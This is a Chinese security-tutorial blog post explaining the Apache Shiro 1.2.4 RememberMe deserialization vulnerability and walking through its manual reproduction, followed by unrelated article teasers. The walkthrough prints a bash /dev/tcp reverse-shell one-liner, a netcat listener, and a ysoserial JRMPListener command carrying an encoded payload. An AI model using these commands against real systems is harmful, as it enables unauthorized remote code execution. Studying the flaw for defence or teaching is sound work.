网络安全深入学习第五课——热门框架漏洞（RCE— Apache Shiro 1.2.4反序列化漏洞）

2023-09-18 15:39:24

文章目录

一、序列化和反序列化

  • 什么是序列化？
    序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中,保证对象的完整性和可传递性；

  • 什么是反序列化？
    反序列化即逆过程，由字节流还原成对象。根据字节流中保存的对象状态及描述信息，通过反序列化重建对象。

简单理解，序列化就是把对象转换为电脑能看懂的格式（字节流），反序列化就是把对象转换为人能看得懂的格式（字符、数字）。

在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()

二、反序列化漏洞原理

------ 当程序在进行反序列化时，会自动调用一些函数，以PHP为例有__wakeup()、__destruct()等函数，Java中有readObject()方法等等，但是如果传入函数的参数可以被用户控制的话，用户可以输入一些恶意代码到函数中，从而导致反序列化漏洞。

------ 危害：

  1. 远程代码执行，如：system（‘whoami’）、system（‘cat/etc/passwd’）等
  2. 重放攻击
  3. 注入
  4. 特权提升

三、Apache Shiro 1.2.4反序列化漏洞

1、漏洞描述：

------ Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

2、漏洞影响的版本

------ Apache Shiro <=1.2.4

3、Shiro反序列化漏洞原理

------ AES加密的密钥Key被硬编码在代码里，Shiro是开源软件，意味着每个人通过源代码都能拿到AES加密的密钥。因此，攻击者构造一个恶意的对象，并且对其序列化，AES加密，base64编码后，作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞

------ Shiro提供了记住我(RememberMe)的功能，比如访问淘宝等网站时，关闭了浏览器下次再打开时还是能够记住上次访问过的用户，下次访问时无需再登录即可访问

------ 也就是说它使用了CookieRememberMeManager类对用户的登陆凭证进行处理。我们可以把AES加密的密钥爆破出来。

4、工作原理：

在服务端接收cookie值时，按照如下步骤来解析处理：

  1. 检索RememberMe cookie 的值
  2. Base 64解码
  3. 使用AES解密(加密密钥硬编码)
  4. 进行反序列化操作，生成用户登录信息对象（未作过滤处理）
    在调用反序列化时未进行任何过滤，导致可以触发远程代码执行漏洞。

5、shiro反序列化的特征：

返回包中存在 rememberMe=deleteMe 字段
在这里插入图片描述

四、Apache Shiro 1.2.4反序列化漏洞手工复现

1、使用DNSlog严重漏洞是否存在

  • 1）dnslog申请一个临时域名：qsg7i9.dnslog.cn
    在这里插入图片描述

  • 2）使用shiro.py 脚本，生成检测payload(dns解析)
    例如：python shiro.py "http:// qsg7i9.dnslog.cn "
    在这里插入图片描述

  • 3）路径下获得了一个payload.cookie
    在这里插入图片描述
    在这里插入图片描述
    生成的文件里面有一个序列化的payload

  • 4）把生产的payload复制下来，然后放到Burp上面进行重放
    在这里插入图片描述

  • 5）返回DNSlog上面去查看
    在这里插入图片描述
    这样就说明存在反序列化漏洞了。

2、VPS监听端口

nc -lvvp [反弹shell所到的端口]
在这里插入图片描述

3、构造反弹shell命令，并且进行base64编码

反弹shell命令：
/bin/bash -i >& /dev/tcp/[反弹shell所到的IP]/ [反弹shell所到的端口] 0>&1

  • 编码前：
    在这里插入图片描述

  • 编码后：
    在这里插入图片描述

4、在VPS开启一个JRMP(端口设置1099)

  • 使用工具：ysoserial-master-SNAPSHOT.jar

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,[反弹shell命令经过base64编码后的内容]}|{base64,-d}|{bash,-i}”
在这里插入图片描述

5、使用s.py构造payload，构造jrmp请求远程恶意序列化数据

python3 s.py [攻击者IP]:1099
在这里插入图片描述
这个工具相当于代替我们把payload进行了AES解密，然后进行了base64编码。

6、前台登录，注意需要勾选Remember Me ，截获数据包，加入payload，将payload发送服务器

在这里插入图片描述

五、使用工具检查

下面是工具：shiroexpv3.0
在这里插入图片描述
在这里插入图片描述

更多推荐

爬虫 — Scrapy 框架（一）

目录一、介绍1、同步与异步2、阻塞与非阻塞二、工作流程三、项目结构1、安装2、项目文件夹2.1、方式一2.2、方式二3、创建项目4、项目文件组成4.1、piders/__init__.py4.2、spiders/demo.py4.3、__init__.py4.4、items.py4.5、middlewares.py4.

npm安装心得（依赖库Python及node-sass依赖环境）

在使用vue的开发环境过程中，总会遇到这样哪样的安装或者打包错误，vue运行或打包常见错误如下：1.npminstall时node-sassnpmERRcommandfailed（可能是node.js的版本和node-sass的版本不符，就是卸掉原来的node.js，下载一个符合node-sass版本的node.js）

Go - 【字符串，数组，哈希表】常用操作

一.字符串字符串长度：s:="hello"l:=len(s)fmt.Println(l)//输出5遍历字符串：s:="hello"fori,c:=ranges{fmt.Printf("%d:%c",i,c)}//输出：0:h1:e2:l3:l4:ofori:=0;i<len(s);i++{fmt.Printf("%s"

Go基础-文件、字符

文件创建导入“os”包，创建文件，读写文件的函数都在改包。指定创建的文件存放路径以及文件名。执行Create()函数，进行文件创建。关闭文件。packagemainimport("fmt""os")funcmain(){//创建文件，需要指定文件的存放路径以及文件名称//file为文件指针file,err:=os.Cr

C#控制台程序中使用log4.net来输出日志

Apachelog4net库是一个帮助程序员将日志语句输出到各种输出目标的工具。log4net是优秀的Apachelog4j™框架到Microsoft®.NE​​T运行时的端口。我喜欢他可以自定义输出，区分等级等特点。导入库我们在工程里添加NuGet的包。输入名称log4net，导入包。创建配置文件然后我们在项目根创建

北邮22级信通院数电：Verilog-FPGA（3）实验“跑通第一个例程”modelsim仿真及遇到的问题汇总（持续更新中）

北邮22信通一枚~跟随课程进度更新北邮信通院数字系统设计的笔记、代码和文章持续关注作者迎接数电实验学习~获取更多文章，请访问专栏：北邮22级信通院数电实验_青山如墨雨如画的博客-CSDN博客注意：本篇文章所有绝对路径的展示都来自上一篇博客北邮22级信通院数电：Verilog-FPGA（2）modelsim北邮信通专属下

蓝蓝设计提供气象行业软件设计

北京蓝蓝设计在气象行业软件界面设计方面具有成功的案例和丰富的经验。蓝蓝与多家气象行业软件开发商合作，为其设计了一系列优秀的界面，得到了客户的高度认可和好评。我们的设计作品不仅满足了客户的需求，还提升了软件的品牌形象和竞争力。北京蓝蓝设计还致力于学习和应用最新的设计技术和工具。我们紧跟行业发展的脚步，不断更新自己的设计理

JMeter 设置请求头信息的详细步骤

在使用JMeter的过程中，我们会遇到需要设置请求头信息的场景。比如：POST传过去的Body数据是json格式的。需要填添加头信息：Content-Type：application/json。在header中用token来传用户的认证信息。下面，来具体介绍下JMeter设置HTTP请求头的方法。1添加请求头右击HTT

Jmeter系列-并发线程Concurrency Thread Group的介绍（7）

简介ConcurrencyThreadGroup提供了用于配置多个线程计划的简化方法，该线程组目的是为了保持并发水平，意味着如果并发线程不够，则在运行线程中启动额外的线程ConcurrencyThreadGroup提供了更好的用户行为模拟，因为它使您可以更轻松地控制测试的时间，并创建替换线程以防线程在过程中完成现在安装

Jmeter系列-控制器Controllers的介绍（8）

Controllers简介JMeter是一款功能强大的性能测试工具，而控制器是JMeter中非常重要的一个组件。控制器用于控制测试计划的执行流程，可以根据需求来控制线程的启动、停止、循环等操作。Jmeter有两种类型的控制器：Samplers（取样器）和LogicalControllers（逻辑控制器）；它们驱动着测试

Jmeter —— 常用的几种断言方法（基本用法）

在使用JMeter进行性能测试或者接口自动化测试工作中，经常会用到的一个功能，就是断言，断言相当于检查点，它是用来判断系统返回的响应结果是否正确，以此帮我们判断测试是否通过，本文主要介绍几种常用的断言：响应断言、JSON断言、BeanShell断言一、响应断言1.响应断言是最常用的一种断言方法，它可以对各种返回类型的结

热文推荐
  1. 【Vue】如何搭建SPA项目--详细教程

    🎬艳艳耶✌️：个人主页🔥个人专栏：《Spring与Mybatis集成整合》《springMvc使用》⛺️生活的理想，为了不断更新自己!目录1.什么是vue-cli2.安装2.1.创建SPA项目2.3.一问一答模式答案3.运行SPA项目3.1.导入项目3.2.运行项目4.基于SPA项目完成路由4.1.案例实操5.基于

  2. Python灰帽子编程————网页信息爬取

    爬取图片，问题分解：获取网页内容；从网页内容中提取图片地址；通过图片地址，将图片下载到本地。1.相关模块1.1requests模块获取网页内容。requests模块：主要是用来模拟浏览器行为，发送HTTP请求，并处理HTTP响应的功能。importrequests#被认为，最贴近与人的操作的模块importurllib

  3. 【C++】C++ 引用详解 ⑥ ( 普通变量 / 一级指针 / 二级指针 做函数参数的作用 )

    文章目录一、普通变量/一级指针/二级指针做函数参数的作用1、普通变量做函数参数的作用2、一级指针做函数参数的作用3、二级指针做函数参数的作用4、代码示例-二级指针做函数参数的作用一、普通变量/一级指针/二级指针做函数参数的作用1、普通变量做函数参数的作用普通变量的作用:将普通变量传入函数作为参数,则可以在函数中,访问到

  4. 【Java 基础篇】Java 运算符宝典：Java编程的关键

    在Java编程中，运算符是用于执行各种操作的特殊符号。它们可以用于操作各种数据类型，执行算术、逻辑和比较等操作。本篇博客将详细介绍Java中常见的运算符，以及它们的使用和示例。算术运算符算术运算符用于执行基本的数学运算，如加法、减法、乘法和除法。加法运算符（+）加法运算符用于将两个值相加，并返回它们的和。示例：inta

  5. MySQL主从复制与读写分离

    目录MySQL主从复制1、mysql支持的复制类型2、主从复制的工作过程3、主从复制操作1）下载时间同步工具，并配置时间源，实现slave库与master库时间同步2）、配置主master库3）配置slave库4）登录主MySQL，给从服务器授权5）登录从数据库，配置同步，并启动同步6）测试MySQL读写分离MySQL

  6. HTTPS的传输过程

    加密分为两种方式一种是对称加密，一种是非对称加密。在对称加密算法中，加密和解密使用的密钥是相同的。也就是说，加密和解密使用的是同一个密钥。因此，对称加密算法要保证安全性的话，密钥要做好保密。只能让使用的人知道，不能对外公开。在非对称加密算法中，加密使用的密钥和解密使用的密钥是不相同的。一把是作为公开的公钥，另一把是作为

  7. 机器学习西瓜书+南瓜书吃瓜教程学习笔记第四章决策树

    1、算法原理从逻辑角度，一堆ifelse语句的组合从集合角度，根据某种准则划分特征空间最终目的：将样本越分越“纯”决策树是基于树结构来进行决策的例如，我们对“这是好瓜吗？”这样的问题进行决策时，通常会进行一系列的判断或“子决策”：我们先看“它是什么颜色？”，如果是“青绿色”，则我们再看“它的根蒂是什么形态？”，如果是“

  8. Linux C 网络基础

    为什么需要网络通信？进程间通信解决的是本机内通信网络通信解决的是任意不同机器的通信实现网络通信需要哪些支持1.通信设备：网卡（PC机自带）；路由器和交换机；光纤、电缆和基站2.通信协议：2.1.操作系统自带协议栈（Linux的特点：丰富的网络协议）2.2.裸机开发需要独立的协议栈3.简单网络通信只需要学会系统APITC

  9. Java基础（三）

    前言：前面主要涉及到java的基本语法，接下来本篇博客主要记录Java中Collections类、泛型、以及File类、IO流的学习。目录数据结构泛型集合分类Collection的分类collection常用方法collection遍历方式迭代器for循环Lambda表达式List集合特点增删改查List集合的遍历方式